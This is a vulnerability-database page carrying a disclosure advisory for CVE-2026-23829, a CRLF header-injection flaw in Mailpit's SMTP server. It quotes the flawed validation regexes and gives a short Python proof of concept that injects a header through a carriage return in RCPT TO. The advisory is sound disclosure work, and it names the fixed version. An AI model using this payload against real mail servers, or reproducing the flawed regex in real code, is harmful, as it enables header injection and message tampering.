Lucene search
K

📄 Mailpit SMTP CRLF Injection

🗓️ 02 Feb 2026 00:00:00Reported by Omar KurtType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 166 Views

Mailpit SMTP CRLF Injection via regex bypass enables header injection and metadata corruption.

Related
Code
ReporterTitlePublishedViews
Family
FreeBSD
mail/mailpit -- multiple vulnerabilities
18 Jan 202600:00
freebsd
GithubExploit
Exploit for CVE-2026-23829
28 Jan 202603:28
githubexploit
GithubExploit
Exploit for CVE-2026-23829
19 Feb 202601:47
githubexploit
ATTACKERKB
CVE-2026-23829
18 Jan 202623:23
attackerkb
Circl
CVE-2026-23829
17 Jan 202622:52
circl
CNNVD
Mailpit security vulnerabilities
19 Jan 202600:00
cnnvd
CVE
CVE-2026-23829
18 Jan 202623:23
cve
Cvelist
CVE-2026-23829 Mailpit has SMTP Header Injection via Regex Bypass
18 Jan 202623:23
cvelist
EUVD
EUVD-2026-3297
20 Jan 202617:54
euvd
Tenable Nessus
FreeBSD : mail/mailpit -- multiple vulnerabilities (01f34a27-f560-11f0-bbdc-10ffe07f9334)
20 Jan 202600:00
nessus
Rows per page
Mailpit - SMTP CRLF Injection via Regex Bypass
    Advisory ID: RO-26-004
    CVE ID: CVE-2026-23829
    Severity: Medium
    Vendor: axllent
    Product: Mailpit
    Version: <= v1.28.2
    
    
    Overview #
    
    A CRLF Injection vulnerability exists in Mailpit's SMTP server. The vulnerability allows attackers to inject arbitrary SMTP headers by including carriage return characters (\r) in email addresses due to insufficient regex validation.
    
    
    Vulnerability Details #
    
    Affected Versions: <= v1.28.2
    
    Root Cause: The regex patterns used to validate RCPT TO and MAIL FROM addresses fail to exclude \r and \n characters. The \v escape sequence inside a character class only matches Vertical Tab, not CR/LF.
    
    Vulnerable Code: The vulnerability exists in internal/smtpd/smtpd.go:
    
    rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\v]+)>( |$)(.*)?`)
    mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\v]+)>( |$)(.*)?`)
    
    
    
    Exploitation Requirements #
    
        Network access to SMTP port (default 1025)
        No authentication required
    
    Impact #
    
    Remote attackers can exploit this vulnerability to:
    
        Inject arbitrary SMTP headers
        Corrupt email metadata and Received headers
        Generate malformed .eml files
        Violate RFC 5321 compliance
    
    Proof of Concept #
    
    import socket
    
    def exploit():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("127.0.0.1", 1025))
        s.recv(1024)
        s.send(b"EHLO test.com\r\n")
        s.recv(1024)
        s.send(b"MAIL FROM:<[email protected]>\r\n")
        s.recv(1024)
        # Injecting \r
        payload = b"RCPT TO:<victim\rX-Injected: Yes>\r\n"
        s.send(payload)
        resp = s.recv(1024)
        print(f"Server Response: {resp.decode()}")  # Expect 250 OK
        s.close()
    
    exploit()
    
    
    
    Solution #
    
    Upgrade to Mailpit version 1.28.3 or later.
    
    
    References #
    
        GitHub Security Advisory GHSA-54wq-72mp-cq7c
        CWE-93: CRLF Injection
        CWE-150: Improper Neutralization of Escape Sequences
    
    Timeline:
    
        [2026-01-13] - Reported
        [2026-01-15] - Fixed
        [2026-01-17] - CVE Assigned
        [2026-01-18] - Published
    
    Credits: Omar Kurt

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Feb 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.15.3
EPSS0.01594
SSVC
166